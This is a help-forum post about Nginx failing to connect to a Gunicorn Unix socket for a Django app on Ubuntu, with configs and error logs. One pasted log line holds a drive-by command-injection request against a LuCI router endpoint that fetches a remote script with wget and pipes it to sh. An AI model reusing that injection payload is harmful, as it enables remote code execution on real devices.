Nginx Unable to Connect to Gunicorn Socket

I am facing an issue with my Nginx and Gunicorn setup on my Ubuntu server, and I would greatly appreciate your assistance in resolving it.

Issue Details:

I have configured Nginx to connect to Gunicorn using a Unix socket located at /run/gunicorn.sock. However, Nginx is repeatedly failing to connect to this socket, as indicated by the error logs. Below are the relevant error messages from the Nginx log:

2024/08/21 20:42:42 [crit] 1706#1706: *1 connect() to unix:/run/gunicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 5.195.239.46, server: 3.28.252.207, request: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207" 2024/08/21 20:42:47 [crit] 1705#1705: *3 connect() to unix:/run/gunicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 185.224.128.83, server: 3.28.252.207, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60) HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60)", host: "3.28.252.207:80" 2024/08/21 20:46:09 [error] 1706#1706: *5 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 5.195.239.46, server: 3.28.252.207, request: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207" 2024/08/21 20:46:10 [error] 1706#1706: *5 connect() to unix:/run/gunicorn.sock failed (111: Connection refused) while connecting to upstream, client: 5.195.239.46, server: 3.28.252.207, request: "GET / HTTP/1.1", upstream: "http://unix:/run/gunicorn.sock:/", host: "3.28.252.207"

Socket Creation & Permissions:

I have verified that Gunicorn is correctly configured to create the socket file at /run/gunicorn.sock. The socket file has the correct permissions, and it is owned by the www-data user. Nginx Configuration:

The Nginx configuration has been set to connect to the Unix socket using the following block:

upstream gunicorn_server {
    server unix:/run/gunicorn.sock fail_timeout=0;
}
server {
    listen 80;
    server_name 3.28.252.207;

    location / {
        proxy_pass http://gunicorn_server;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location /static/ {
        alias /home/ubuntu/OCC_Drivers_Headcount/staticfiles/;
    }

    location /media/ {
        alias /home/ubuntu/OCC_Drivers_Headcount/media/;
    }

    error_log /var/log/nginx/occ_drivers_headcount_error.log;
    access_log /var/log/nginx/occ_drivers_headcount_access.log;
}

Gunicorn Supervisor Configuration:

Here is the Supervisor configuration for managing Gunicorn:

[program:gunicorn]
command=/home/ubuntu/OCC_Drivers_Headcount/env/bin/gunicorn -c /home/ubuntu/OCC_Drivers_Headcount/gunicorn.conf.py staff_transport.wsgi:application
directory=/home/ubuntu/OCC_Drivers_Headcount
user=ubuntu
autostart=true
autorestart=true
redirect_stderr=true

Service Restarts:

Both Gunicorn and Nginx services have been restarted multiple times to ensure proper startup order and configuration loading.

Alternative Socket Location:

I have also attempted to change the socket file location to a more persistent directory, but the issue persists.

Below is the directory structure of my Django project:

~/OCC_Drivers_Headcount/
├── Drivers_Master/
├── Procfile
├── SQL.sql
├── db.sqlite3
├── duty/
│   ├── __init__.py
│   ├── admin.py
│   ├── apps.py
│   ├── forms.py
│   ├── models.py
│   ├── templates/
│   ├── tests.py
│   ├── urls.py
│   └── views.py
├── env/
├── manage.py
├── requirements.txt
├── staff_transport/
│   ├── __init__.py
│   ├── asgi.py
│   ├── settings.py
│   ├── urls.py
│   └── wsgi.py
├── static/
│   ├── StaffDriverForm.js
│   ├── favicon.ico
│   ├── logo192.png
│   ├── manifest.json
│   ├── myapp/
│   └── static/
│       ├── css/
│       ├── js/
│       └── media/
├── staticfiles/
└── venv/

Could you please provide guidance or suggest any further troubleshooting steps that could help identify and resolve the issue? If there's any additional information or logs required, I would be happy to provide.

Back to Top